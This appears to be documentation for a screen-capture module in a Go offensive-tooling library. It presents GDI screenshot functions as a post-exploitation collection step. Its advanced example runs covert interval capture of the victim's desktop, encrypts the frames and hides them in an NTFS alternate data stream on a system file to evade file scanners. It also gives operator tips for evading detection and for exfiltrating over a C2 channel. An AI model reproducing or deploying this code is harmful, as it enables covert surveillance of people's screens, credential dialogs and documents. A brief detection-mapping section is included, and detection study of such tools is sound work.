Screen capture

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TL;DR

Capture() returns the entire virtual desktop as PNG bytes using GDI BitBlt. For multi-monitor targets, DisplayCount + CaptureDisplay(i) enumerate and capture individual screens. CaptureRect grabs any rectangular region. All three variants return []byte — send directly to a C2 channel or stash in an ADS.

Primer

Screen capture gives the operator a visual snapshot of the user's session: open documents, browser windows, RDP sessions, and credential dialogs all appear in the PNG. It is the fastest way to understand what the target is doing without generating process or file activity.

The implementation uses the GDI device-context model: GetDC(0) acquires a handle to the screen device context, CreateCompatibleDC + CreateCompatibleBitmap build an off-screen buffer, BitBlt(SRCCOPY) copies the screen pixels into that buffer, and GetDIBits extracts the raw BGRA pixel data. A final in-place channel swap (BGRA → RGBA) feeds Go's image/png encoder, which produces the final []byte. All GDI handles are cleaned up before return.

Multi-monitor support uses EnumDisplayMonitors to collect each monitor's bounding rectangle in virtual-desktop coordinates, then performs a CaptureRect on each rectangle. The rectangles may overlap (mirrored displays) or be non-contiguous (extended desktop) — coordinates are in virtual-desktop space and handled transparently by GDI.

How It Works

sequenceDiagram
    participant Code as "screenshot.Capture()"
    participant GDI as "GDI32 / User32"
    participant Enc as "png.Encode"

    Code->>GDI: GetDC(0) → screen DC
    Code->>GDI: CreateCompatibleDC(screenDC) → mem DC
    Code->>GDI: CreateCompatibleBitmap(screenDC, w, h) → hBmp
    Code->>GDI: SelectObject(memDC, hBmp)
    Code->>GDI: BitBlt(memDC, SRCCOPY)
    Code->>GDI: GetDIBits → BGRA []byte
    Code->>Code: BGRA → RGBA (in-place)
    Code->>Enc: png.Encode(RGBA image)
    Enc-->>Code: []byte PNG
    Code->>GDI: DeleteObject, DeleteDC, ReleaseDC

For CaptureDisplay(i):

1. enumDisplays() calls EnumDisplayMonitors to build []image.Rectangle.
2. Index bounds are checked against the slice; ErrDisplayIndex on overflow.
3. CaptureRect(r.Min.X, r.Min.Y, r.Dx(), r.Dy()) is called with the monitor's virtual-desktop rectangle.

API Reference

var ErrCapture, var ErrInvalidRect, var ErrDisplayIndex

godoc

Sentinel errors:

• ErrCapture — a GDI call failed during pixel extraction.
• ErrInvalidRect — width or height is ≤ 0 in CaptureRect.
• ErrDisplayIndex — index ≥ DisplayCount() in CaptureDisplay.

Capture() ([]byte, error)

godoc

Capture the entire virtual desktop (all monitors combined) as a PNG.

Returns:

• []byte — PNG-encoded screenshot.
• error — ErrCapture wrapping the GDI failure; nil on success.

OPSEC: GetDC(0) + BitBlt are high-volume legitimate APIs used by screen-sharing, video-capture, and accessibility software.

CaptureRect(x, y, width, height int) ([]byte, error)

godoc

Capture a specific rectangle of the virtual desktop as a PNG.

Parameters:

• x, y — top-left corner in virtual-desktop pixel coordinates.
• width, height — dimensions in pixels; both must be > 0.

Returns:

• []byte — PNG of the requested region.
• error — ErrInvalidRect if dimensions are ≤ 0; ErrCapture on GDI failure.

DisplayCount() int

godoc

Return the number of currently attached monitors via EnumDisplayMonitors. Returns 0 if enumeration fails.

DisplayBounds(index int) image.Rectangle

godoc

Return the bounding rectangle of monitor index (zero-based) in virtual-desktop coordinates. Returns image.Rectangle{} if index is out of range.

CaptureDisplay(index int) ([]byte, error)

godoc

Capture a single monitor by index as a PNG.

Parameters:

• index — zero-based monitor index; use DisplayCount to enumerate.

Returns:

• []byte — PNG of the monitor.
• error — ErrDisplayIndex if index ≥ DisplayCount(); ErrCapture on GDI failure.

Examples

Simple

import (
    "os"

    "github.com/oioio-space/maldev/collection/screenshot"
)

png, err := screenshot.Capture()
if err != nil {
    panic(err)
}
_ = os.WriteFile("screen.png", png, 0o600)

Composed (all monitors, timestamped files)

import (
    "fmt"
    "os"
    "time"

    "github.com/oioio-space/maldev/collection/screenshot"
)

func captureAll(outDir string) {
    ts := time.Now().Format("150405")
    count := screenshot.DisplayCount()
    for i := 0; i < count; i++ {
        png, err := screenshot.CaptureDisplay(i)
        if err != nil {
            continue
        }
        name := fmt.Sprintf("%s/%s_mon%d.png", outDir, ts, i)
        _ = os.WriteFile(name, png, 0o600)
    }
}

Advanced (interval capture + encrypt + ADS stash)

Capture every 30 s, encrypt each frame with AES-GCM, and append to an NTFS ADS on a pre-existing system file — no new files on disk, content opaque to file scanners.

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/collection/screenshot"
    "github.com/oioio-space/maldev/crypto"
)

const (
    adsHost   = `C:\ProgramData\Microsoft\Windows\Caches\thumbs.db`
    adsStream = "frames"
)

func main() {
    key, _ := crypto.NewAESKey()
    ctx := context.Background()
    tick := time.NewTicker(30 * time.Second)
    defer tick.Stop()

    for {
        select {
        case <-ctx.Done():
            return
        case <-tick.C:
            png, err := screenshot.Capture()
            if err != nil {
                continue
            }
            blob, _ := crypto.EncryptAESGCM(key, png)
            existing, _ := ads.Read(adsHost, adsStream)
            _ = ads.Write(adsHost, adsStream, append(existing, blob...))
        }
    }
}

See ExampleCapture and ExampleCaptureDisplay in screenshot_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-PA — behavioural API-usage analysis.

Hardening for the operator: limit capture frequency (1 per 30 s or less blends with screensaver / remote-desktop activity); embed in a process that legitimately renders graphics; send captures over an existing C2 channel rather than writing to disk.

MITRE ATT&CK

Limitations

• Windows only. GDI APIs are not available on Linux/macOS; build tag windows is required.
• Requires a desktop session. GetDC(0) returns NULL in Session 0 (SYSTEM service); the call must run in an interactive or remote-desktop session.
• DWM exclusion. Windows 10/11 DWM may exclude DRM-protected content (Netflix, Widevine) from BitBlt results — protected windows appear black.
• No hardware cursor. The captured PNG does not include the software cursor overlay; the mouse pointer position is not visible in the output.
• Virtual desktop coordinates. Multi-monitor setups with non-standard DPI scaling may produce coordinates that differ from what the user sees in display settings — use DisplayBounds to verify before CaptureRect.

See also

• Keylogging — text complement to visual capture.
• Clipboard capture — capture credential pastes.
• crypto — encrypt PNG bytes before storage.
• cleanup/ads — hide frames in NTFS ADS.
• c2/transport — exfiltrate PNG bytes over the C2 channel.
• Operator path — post-exploitation collection chains.
• Detection eng path — GDI-based collection detection telemetry.